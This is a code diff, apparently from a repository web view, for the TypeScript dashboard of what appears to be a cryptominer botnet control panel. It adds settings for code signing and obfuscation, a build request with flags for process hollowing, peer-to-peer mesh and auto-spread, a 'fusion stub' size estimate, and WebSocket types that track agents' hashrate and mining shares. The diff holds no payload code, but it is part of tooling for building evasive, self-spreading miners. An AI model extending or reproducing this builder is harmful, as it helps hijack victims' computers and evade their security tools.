<label className="label">Timestamp server URL <HelpTip field="sign_timestamp_url" /></label>
|
||||||
|
<input type="text" className="input mono"
|
||||||
|
value={s.sign_timestamp_url || 'http://timestamp.digicert.com'}
|
||||||
|
onChange={(e) => updateField('server.sign_timestamp_url', e.target.value)} />
|
||||||
|
<FieldHint field="sign_timestamp_url" />
|
||||||
|
</div>
|
||||||
|
</NeonCard>
|
||||||
|
|
||||||
<NeonCard accent="green" className="settings-section">
|
<NeonCard accent="green" className="settings-section">
|
||||||
<h2 className="font-display">Data & Limits</h2>
|
<h2 className="font-display">Data & Limits</h2>
|
||||||
<p className="section-desc">Retention and capacity for this host.</p>
|
<p className="section-desc">Retention and capacity for this host.</p>
|
||||||
|
|||||||
@@ -18,6 +18,8 @@ export interface Agent {
|
|||||||
cpu_usage_pct: number;
|
cpu_usage_pct: number;
|
||||||
memory_usage_pct: number;
|
memory_usage_pct: number;
|
||||||
uptime_seconds: number;
|
uptime_seconds: number;
|
||||||
|
notes?: string;
|
||||||
|
tags?: string[];
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface Share {
|
export interface Share {
|
||||||
@@ -100,6 +102,11 @@ export interface ServerSettings {
|
|||||||
strict_wallet_validation: boolean;
|
strict_wallet_validation: boolean;
|
||||||
dashboard_subtitle: string;
|
dashboard_subtitle: string;
|
||||||
open_firewall_on_start: boolean;
|
open_firewall_on_start: boolean;
|
||||||
|
obfuscate_default?: boolean;
|
||||||
|
sign_enabled?: boolean;
|
||||||
|
sign_cert_thumbprint?: string;
|
||||||
|
sign_tool_path?: string;
|
||||||
|
sign_timestamp_url?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface PoolConfig {
|
export interface PoolConfig {
|
||||||
@@ -244,6 +251,24 @@ export interface BuildRequest {
|
|||||||
process_hollowing?: boolean;
|
process_hollowing?: boolean;
|
||||||
mesh_p2p?: boolean;
|
mesh_p2p?: boolean;
|
||||||
auto_spread?: boolean;
|
auto_spread?: boolean;
|
||||||
|
obfuscate?: boolean;
|
||||||
|
sign_build?: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface FusionEstimate {
|
||||||
|
prep_bytes: number;
|
||||||
|
prep_name: string;
|
||||||
|
estimated_worker_bytes: number;
|
||||||
|
estimated_fusion_stub_bytes: number;
|
||||||
|
estimated_resource_patch_bytes: number;
|
||||||
|
estimated_total_bytes: number;
|
||||||
|
output_file_name: string;
|
||||||
|
project_root_path: string;
|
||||||
|
archive_path_hint: string;
|
||||||
|
export_path?: string;
|
||||||
|
obfuscate: boolean;
|
||||||
|
sign_build: boolean;
|
||||||
|
notes: string[];
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface BuildResponse {
|
export interface BuildResponse {
|
||||||
@@ -262,6 +287,8 @@ export interface BuildResponse {
|
|||||||
error?: string;
|
error?: string;
|
||||||
fusion_enabled?: boolean;
|
fusion_enabled?: boolean;
|
||||||
worker_file?: string;
|
worker_file?: string;
|
||||||
|
signed?: boolean;
|
||||||
|
obfuscated?: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface BlueprintInfo {
|
export interface BlueprintInfo {
|
||||||
@@ -273,5 +300,5 @@ export interface BlueprintInfo {
|
|||||||
|
|
||||||
export interface WSMessage {
|
export interface WSMessage {
|
||||||
type: string;
|
type: string;
|
||||||
payload: any;
|
payload: import('./ws').WSPayload;
|
||||||
}
|
}
|
||||||
|
|||||||
56
server/web/src/types/ws.ts
Normal file
56
server/web/src/types/ws.ts
Normal file
@@ -0,0 +1,56 @@
|
|||||||
|
import type { Agent } from '../types';
|
||||||
|
|
||||||
|
/** Dashboard WebSocket payloads — keep in sync with server/internal/api/ws_types.go */
|
||||||
|
export interface WSDashboardInit {
|
||||||
|
agents: Agent[];
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface WSAgentOffline {
|
||||||
|
agent_id: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface WSStatsUpdate {
|
||||||
|
agent_id: string;
|
||||||
|
hashrate_15s: number;
|
||||||
|
hashrate_1m: number;
|
||||||
|
hashrate_15m: number;
|
||||||
|
cpu_usage_pct: number;
|
||||||
|
memory_usage_pct?: number;
|
||||||
|
uptime_seconds?: number;
|
||||||
|
shares_submitted?: number;
|
||||||
|
shares_accepted?: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface WSCommandResult {
|
||||||
|
agent_id?: string;
|
||||||
|
action?: string;
|
||||||
|
success?: boolean;
|
||||||
|
message?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface WSAgentLog {
|
||||||
|
agent_id: string;
|
||||||
|
content: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface WSServerLog {
|
||||||
|
line: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
export type WSPayload =
|
||||||
|
| WSDashboardInit
|
||||||
|
| Agent
|
||||||
|
| WSAgentOffline
|
||||||
|
| WSStatsUpdate
|
||||||
|
| import('../types').Share
|
||||||
|
| import('../types').FleetAlert
|
||||||
|
| import('../types').PoolStatus[]
|
||||||
|
| import('../types').AIActivityEntry
|
||||||
|
| WSCommandResult
|
||||||
|
| WSAgentLog
|
||||||
|
| WSServerLog;
|
||||||
|
|
||||||
|
export interface WSMessageTyped<T extends string = string> {
|
||||||
|
type: T;
|
||||||
|
payload: WSPayload;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user